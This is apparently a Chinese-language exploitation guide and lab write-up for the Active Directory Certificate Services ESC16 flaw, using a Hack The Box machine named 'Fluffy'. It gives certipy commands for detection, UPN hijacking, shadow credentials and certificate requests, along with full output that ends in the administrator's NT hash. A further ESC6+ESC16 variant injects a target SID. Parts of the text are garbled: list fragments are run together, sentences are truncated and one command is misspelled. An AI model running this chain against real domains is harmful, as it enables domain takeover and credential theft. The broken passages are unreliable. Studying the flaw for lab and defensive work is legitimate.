SC16 描述的是一种 CA(证书颁发机构)级别的错误配置,它会 全局禁用所有颁发证书中包含 szOID_NTDS_CA_SECURITY_EXT
(OID 1.3.6.1.4.1.311.25.2) 安全扩展。这个 SID(安全标识符)扩展是2022年5月安全更新(KB5014754)引入的,对于“强证书映射”至关重要,它能帮助域控制器 (DC) 可靠地将证书映射到用户或计算机账户的 SID 进行身份验证。
当 CA 的注册表设置 policy\DisableExtensionList
中包含了 OID 1.3.6.1.4.1.311.25.2
时,该 CA 颁发的所有证书都会缺少这个 SID 安全扩展。这使得通过该 CA 发布的所有模板都表现得像是单独配置了 CT_FLAG_NO_SECURITY_EXTENSION
标志(类似于 ESC9)
如果域控制器没有启用“完全强制”模式(StrongCertificateBindingEnforcement = 2
)来执行强证书绑定,它们就会回退到较弱的传统证书映射方法(例如,基于证书的 SAN 中找到的 UPN 或 DNS 名称)。这会重新打开类似于“Certifried”漏洞(CVE-2022-26923)的攻击途径,即在强映射广泛应用之前可以利用的漏洞。
这种 CA 级别的错误配置可能发生在管理员为了解决2022年5月补丁后的兼容性问题,选择全局禁用新的 SID 扩展作为一种权宜之计,而不是解决特定模板或客户端系统上的问题。
利用有两种方式
先检测是否存在漏洞
#也可以使用 -hashes 进行认证
certipy find -u 'user@domain.local' -p 'password' -dc-ip 'DC_IP' -vulnerable -stdout
StrongCertificateBindingEnforcement
设置为 1
(兼容模式) 或 0
(禁用)。GenericWrite
权限)。administrator@corp.local
。StrongCertificateBindingEnforcement
的值Get-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc" -ErrorAction SilentlyContinue
案例:【week2】fluffy > 2.1. 1.ECS16 AD-CS-ECS16
步骤 1:读取受害者账户的初始 UPN(可选——用于恢复)。
┌──(root㉿kali)-[~/Desktop/htb/season8/fluffy]
└─# certipy-ad account -u ca_svc -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69 -user 'ca_svc' read
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Reading attributes for 'ca_svc':
cn : certificate authority service
distinguishedName : CN=certificate authority service,CN=Users,DC=fluffy,DC=htb
name : certificate authority service
objectSid : S-1-5-21-497550768-2797716248-2627064577-1103
sAMAccountName : ca_svc
servicePrincipalName : ADCS/ca.fluffy.htb
userPrincipalName : administrator
userAccountControl : 66048
whenCreated : 2025-04-17T16:07:50+00:00
whenChanged : 2025-05-25T18:31:38+00:00
第 2 步:将受害者账户的 UPN 更改为目标管理员的 sAMAccountName
┌──(root㉿kali)-[~/Desktop/htb/season8/fluffy]
└─# certipy-ad account -u ca_svc -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69 -upn 'administrator' -user 'ca_svc' update
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_svc':
userPrincipalName : administrator
[*] Successfully updated 'ca_svc'
第 3 步:(如有必要)获取“受害者”账户的凭证(例如,通过影子凭证)
┌──(root㉿kali)-[~/Desktop/htb/season8/fluffy]
└─# ntpdate 10.10.11.69;certipy-ad shadow -u ca_svc -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69 -account 'ca_svc' auto
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'bff58174-965a-d510-ca58-0e138d8b2568'
[*] Adding Key Credential with device ID 'bff58174-965a-d510-ca58-0e138d8b2568' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID 'bff58174-965a-d510-ca58-0e138d8b2568' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Certificate identities:
[*] No identities found in this certificate
[*] Using principal: 'ca_svc@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'ca_svc.ccache'
File 'ca_svc.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': ca0f4f9e9eb8a092addf53bb03fc98c8
步骤 4:从 ESC16-vulnerable CA 的任何合适的客户端认证模板(例如,“用户”)请求一个作为“受害者”用户的证书。
┌──(root㉿kali)-[~/Desktop/htb/season8/fluffy]
└─# export KRB5CCNAME=ca_svc.ccache
┌──(root㉿kali)-[~/Desktop/htb/season8/fluffy]
└─# certipy-ad req -k -dc-ip 10.10.11.69 -target DC01.fluffy.htb -ca fluffy-DC01-CA -template User
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[!] DC host (-dc-host) not specified and Kerberos authentication is used. This might fail
[*] Requesting certificate via RPC
[*] Request ID is 18
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
步骤 5:恢复“受害者”账户的 UPN。
┌──(root㉿kali)-[~/Desktop/htb/season8/fluffy]
└─# certipy-ad account -u ca_svc -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69 -upn 'ca_svc@fluffy' -user 'ca_svc' update
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_svc':
userPrincipalName : ca_svc@fluffy
[*] Successfully updated 'ca_svc'
步骤 6:以目标管理员身份进行身份验证。
┌──(root㉿kali)-[~/Desktop/htb/season8/fluffy]
└─# certipy-ad auth -dc-ip '10.10.11.69' -pfx 'administrator.pfx' -username 'administrator' -domain 'fluffy.htb'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator'
[*] Using principal: 'administrator@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e
StrongCertificateBindingEnforcement = 2
),此方法也有效。检测 StrongCertificateBindingEnforcement
的值
Get-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc" -ErrorAction SilentlyContinue
1.请求证书,利用 ESC6 在 SAN 中指定目标 UPN 和 SID: 攻击者 attacker@corp.local
从同时存在 ESC16 和 ESC6 漏洞的 CA 上,请求任何合适的客户端身份验证模板(例如“User”)的证书。
rtipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'User' \
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500'
预期输出会显示成功请求证书,获得 UPN 为 administrator@corp.local
的证书,并且证书对象 SID 是 S-1-5-21-...-500
。Certipy 会将证书和私钥保存到 administrator.pfx
。
2.使用获得的证书进行身份验证
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
预期输出会显示证书身份包含 SAN UPN: 'administrator@corp.local'
和 SAN URL SID: 'S-1-5-21-...-500'
,确认 SID 通过 ESC6 注入并被 KDC 使用,因为主要的 SID 安全扩展由于 ESC16 而缺失。最终,成功获取 TGT 和管理员的 NT 哈希